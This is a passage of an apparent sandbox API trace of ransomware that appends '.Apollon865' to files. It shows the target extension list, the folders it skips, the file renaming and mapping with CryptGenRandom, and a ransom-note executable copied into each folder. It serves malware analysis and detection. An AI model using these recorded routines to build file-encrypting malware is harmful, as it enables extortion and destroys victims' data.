	[0078.408] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.408] lstrlenW (lpString="adb") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.408] lstrlenW (lpString="ade") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.408] lstrlenW (lpString="adf") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.408] lstrlenW (lpString="adn") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.408] lstrlenW (lpString="adp") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.408] lstrlenW (lpString="alf") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.408] lstrlenW (lpString="ask") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.408] lstrlenW (lpString="btr") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.408] lstrlenW (lpString="cat") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.408] lstrlenW (lpString="cdb") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.408] lstrlenW (lpString="ckp") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.408] lstrlenW (lpString="cma") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.408] lstrlenW (lpString="cpd") returned 3
	[0078.408] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.408] lstrlenW (lpString="dacpac") returned 6
	[0078.408] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0078.408] lstrlenW (lpString="dad") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.409] lstrlenW (lpString="dadiagrams") returned 10
	[0078.409] lstrcmpiW (lpString1="sioMUI.msi", lpString2="dadiagrams") returned 1
	[0078.409] lstrlenW (lpString="daschema") returned 8
	[0078.409] lstrcmpiW (lpString1="oMUI.msi", lpString2="daschema") returned 1
	[0078.409] lstrlenW (lpString="db-journal") returned 10
	[0078.409] lstrcmpiW (lpString1="sioMUI.msi", lpString2="db-journal") returned 1
	[0078.409] lstrlenW (lpString="db-shm") returned 6
	[0078.409] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0078.409] lstrlenW (lpString="db-wal") returned 6
	[0078.409] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0078.409] lstrlenW (lpString="dbc") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.409] lstrlenW (lpString="dbs") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.409] lstrlenW (lpString="dbt") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.409] lstrlenW (lpString="dbv") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.409] lstrlenW (lpString="dbx") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.409] lstrlenW (lpString="dcb") returned 3
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.409] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.410] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisioMUI.xml" | out: lpString1="VisioMUI.xml") returned="VisioMUI.xml"
	[0078.410] lstrlenW (lpString="VisioMUI.xml") returned 12
	[0078.410] lstrlenW (lpString="Apollon865") returned 10
	[0078.410] lstrcmpiW (lpString1="sioMUI.xml", lpString2="Apollon865") returned 1
	[0078.410] lstrlenW (lpString=".dll") returned 4
	[0078.410] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".dll") returned 1
	[0078.410] lstrlenW (lpString=".lnk") returned 4
	[0078.410] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".lnk") returned 1
	[0078.410] lstrlenW (lpString=".ini") returned 4
	[0078.410] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".ini") returned 1
	[0078.410] lstrlenW (lpString=".sys") returned 4
	[0078.410] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".sys") returned 1
	[0078.410] lstrlenW (lpString="VisioMUI.xml") returned 12
	[0078.410] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.Apollon865") returned 86
	[0078.410] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0078.411] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9503) returned 1
	[0078.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0078.411] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfb40) returned 1
	[0078.412] CryptGenRandom (in: hProv=0x5bfb40, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.412] CryptReleaseContext (hProv=0x5bfb40, dwFlags=0x0) returned 1
	[0078.412] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2820, lpName=0x0) returned 0xc0
	[0078.414] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2820) returned 0x100000
	[0078.416] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfab8) returned 1
	[0078.417] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.417] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0078.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.417] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.417] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.417] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.417] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.417] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.417] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.418] CloseHandle (hObject=0xc0) returned 1
	[0078.418] CloseHandle (hObject=0xd8) returned 1
	[0078.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.418] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0
	[0078.418] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0078.418] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0078.418] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C"
	[0078.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0078.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0078.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned 62
	[0078.418] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C"
	[0078.418] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.442] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.442] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46d47570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46d47570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0078.442] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.442] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.442] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.442] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46d47570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46d47570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.442] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.442] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.442] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.442] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.442] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46d47570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46d47570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.442] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.442] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2=".") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="..") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="windows") returned -1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="bootmgr") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="temp") returned -1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="pagefile.sys") returned -1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="boot") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="ids.txt") returned 1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="ntuser.dat") returned -1
	[0078.442] lstrcmpiW (lpString1="InfLR.cab", lpString2="perflogs") returned -1
	[0078.443] lstrcmpiW (lpString1="InfLR.cab", lpString2="MSBuild") returned -1
	[0078.443] lstrlenW (lpString="InfLR.cab") returned 9
	[0078.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.443] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="InfLR.cab" | out: lpString1="InfLR.cab") returned="InfLR.cab"
	[0078.443] lstrlenW (lpString="InfLR.cab") returned 9
	[0078.443] lstrlenW (lpString="Apollon865") returned 10
	[0078.443] lstrlenW (lpString=".dll") returned 4
	[0078.443] lstrcmpiW (lpString1="InfLR.cab", lpString2=".dll") returned 1
	[0078.443] lstrlenW (lpString=".lnk") returned 4
	[0078.443] lstrcmpiW (lpString1="InfLR.cab", lpString2=".lnk") returned 1
	[0078.443] lstrlenW (lpString=".ini") returned 4
	[0078.443] lstrcmpiW (lpString1="InfLR.cab", lpString2=".ini") returned 1
	[0078.443] lstrlenW (lpString=".sys") returned 4
	[0078.443] lstrcmpiW (lpString1="InfLR.cab", lpString2=".sys") returned 1
	[0078.443] lstrlenW (lpString="InfLR.cab") returned 9
	[0078.443] lstrlenW (lpString="bak") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.443] lstrlenW (lpString="ba_") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.443] lstrlenW (lpString="dbb") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.443] lstrlenW (lpString="vmdk") returned 4
	[0078.443] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.443] lstrlenW (lpString="rar") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.443] lstrlenW (lpString="zip") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.443] lstrlenW (lpString="tgz") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.443] lstrlenW (lpString="vbox") returned 4
	[0078.443] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.443] lstrlenW (lpString="vdi") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.443] lstrlenW (lpString="vhd") returned 3
	[0078.443] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.443] lstrlenW (lpString="vhdx") returned 4
	[0078.443] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.443] lstrlenW (lpString="avhd") returned 4
	[0078.444] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.444] lstrlenW (lpString="db") returned 2
	[0078.444] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.444] lstrlenW (lpString="db2") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.444] lstrlenW (lpString="db3") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.444] lstrlenW (lpString="dbf") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.444] lstrlenW (lpString="mdf") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.444] lstrlenW (lpString="mdb") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.444] lstrlenW (lpString="sql") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.444] lstrlenW (lpString="sqlite") returned 6
	[0078.444] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0078.444] lstrlenW (lpString="sqlite3") returned 7
	[0078.444] lstrcmpiW (lpString1="fLR.cab", lpString2="sqlite3") returned -1
	[0078.444] lstrlenW (lpString="sqlitedb") returned 8
	[0078.444] lstrcmpiW (lpString1="nfLR.cab", lpString2="sqlitedb") returned -1
	[0078.444] lstrlenW (lpString="xml") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.444] lstrlenW (lpString="$er") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.444] lstrlenW (lpString="4dd") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.444] lstrlenW (lpString="4dl") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.444] lstrlenW (lpString="^^^") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.444] lstrlenW (lpString="abs") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.444] lstrlenW (lpString="abx") returned 3
	[0078.444] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.444] lstrlenW (lpString="accdb") returned 5
	[0078.444] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0078.444] lstrlenW (lpString="accdc") returned 5
	[0078.445] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0078.445] lstrlenW (lpString="accde") returned 5
	[0078.445] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0078.445] lstrlenW (lpString="accdr") returned 5
	[0078.445] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0078.445] lstrlenW (lpString="accdt") returned 5
	[0078.445] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0078.445] lstrlenW (lpString="accdw") returned 5
	[0078.445] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0078.445] lstrlenW (lpString="accft") returned 5
	[0078.445] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0078.445] lstrlenW (lpString="adb") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.445] lstrlenW (lpString="adb") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.445] lstrlenW (lpString="ade") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.445] lstrlenW (lpString="adf") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.445] lstrlenW (lpString="adn") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0078.445] lstrlenW (lpString="adp") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0078.445] lstrlenW (lpString="alf") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0078.445] lstrlenW (lpString="ask") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0078.445] lstrlenW (lpString="btr") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0078.445] lstrlenW (lpString="cat") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0078.445] lstrlenW (lpString="cdb") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0078.445] lstrlenW (lpString="ckp") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0078.445] lstrlenW (lpString="cma") returned 3
	[0078.445] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0078.445] lstrlenW (lpString="cpd") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0078.446] lstrlenW (lpString="dacpac") returned 6
	[0078.446] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1
	[0078.446] lstrlenW (lpString="dad") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0078.446] lstrlenW (lpString="dadiagrams") returned 10
	[0078.446] lstrlenW (lpString="daschema") returned 8
	[0078.446] lstrcmpiW (lpString1="nfLR.cab", lpString2="daschema") returned 1
	[0078.446] lstrlenW (lpString="db-journal") returned 10
	[0078.446] lstrlenW (lpString="db-shm") returned 6
	[0078.446] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1
	[0078.446] lstrlenW (lpString="db-wal") returned 6
	[0078.446] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1
	[0078.446] lstrlenW (lpString="dbc") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0078.446] lstrlenW (lpString="dbs") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0078.446] lstrlenW (lpString="dbt") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0078.446] lstrlenW (lpString="dbv") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0078.446] lstrlenW (lpString="dbx") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0078.446] lstrlenW (lpString="dcb") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0078.446] lstrlenW (lpString="dct") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0078.446] lstrlenW (lpString="dcx") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0078.446] lstrlenW (lpString="ddl") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0078.446] lstrlenW (lpString="dlis") returned 4
	[0078.446] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0078.446] lstrlenW (lpString="dp1") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0078.446] lstrlenW (lpString="dqy") returned 3
	[0078.446] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0078.446] lstrlenW (lpString="dsk") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0078.447] lstrlenW (lpString="dsn") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0078.447] lstrlenW (lpString="dtsx") returned 4
	[0078.447] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0078.447] lstrlenW (lpString="dxl") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0078.447] lstrlenW (lpString="eco") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0078.447] lstrlenW (lpString="ecx") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0078.447] lstrlenW (lpString="edb") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0078.447] lstrlenW (lpString="epim") returned 4
	[0078.447] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0078.447] lstrlenW (lpString="fcd") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0078.447] lstrlenW (lpString="fdb") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0078.447] lstrlenW (lpString="fic") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0078.447] lstrlenW (lpString="flexolibrary") returned 12
	[0078.447] lstrlenW (lpString="fm5") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0078.447] lstrlenW (lpString="fmp") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0078.447] lstrlenW (lpString="fmp12") returned 5
	[0078.447] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1
	[0078.447] lstrlenW (lpString="fmpsl") returned 5
	[0078.447] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1
	[0078.447] lstrlenW (lpString="fol") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0078.447] lstrlenW (lpString="fp3") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0078.447] lstrlenW (lpString="fp4") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0078.447] lstrlenW (lpString="fp5") returned 3
	[0078.447] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0078.447] lstrlenW (lpString="fp7") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0078.448] lstrlenW (lpString="fpt") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0078.448] lstrlenW (lpString="frm") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0078.448] lstrlenW (lpString="gdb") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.448] lstrlenW (lpString="gdb") returned 3
	[0078.448] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.448] lstrlenW (lpString="grdb") returned 4
	[0078.448] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0078.448] lstrlenW (lpString="gwi") returned 3
